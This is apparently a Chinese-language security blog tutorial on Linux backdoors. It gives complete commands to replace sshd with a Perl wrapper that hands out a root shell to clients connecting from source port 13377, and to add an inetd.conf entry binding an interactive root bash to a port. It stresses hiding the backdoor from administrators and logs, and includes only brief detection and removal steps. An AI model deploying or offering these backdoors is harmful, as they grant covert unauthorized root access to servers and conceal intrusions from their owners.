wrapper后门实践
先部署后门
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
//或者 service sshd restart
这样后门就部署好了,我们来连接后门。运行socat STDIO TCP4:10.xx.xx.125:22,sourceport=13377
这个后门的优势是只有在连接的情况下,才会在进程中显示出来。
优点:
- 隐蔽性较强,无需要编译,使用于大部分环境中
- 在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆
缺点:
需要重启sshd进程
原理
首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,**启动/usr/bin/sshd,这是原始sshd**。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是13377就执行sh给个shell。
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
更多
其中 4A
是13377的小端模式,如果你想修改源端口,可以用python的struct标准库实现
Python 2.7.12 (default, Oct 5 2020, 13:56:01)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> print repr(struct.pack('>I6',19526))
'\x00\x00LF'
>>> print repr(struct.pack('>I6',13377))
'\x00\x004A'
这里也简单啰嗦下/usr/bin 跟 /usr/sbin
/usr/bin:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。
/usr/sbin:
放置一些网路管理的必备程序例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等
检测
检查网络链接及文件
cat /usr/sbin/sshd
清除
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;
inetd服务后门
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门
部署inetd服务后门
#修改/etc/inetd.conf
$vim /etc/inetd.conf
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
#开启inetd
$inetd
#nc连接
nc -vv 192.168.2.11 13
#可以配合suid后门,修改/etc/services文件:
suidshell 6666/tcp
#然后修改/etc/inetd.conf
suidshell stream tcp nowait root /bin/bash bash -i
#可以修改成一些常见的端口,以实现隐藏
检测:查看配置文件即可
cat /etc/inetd.conf
如果你觉得有收获,辛苦师傅点个赞或者关注吧,授人玫瑰、手有余香~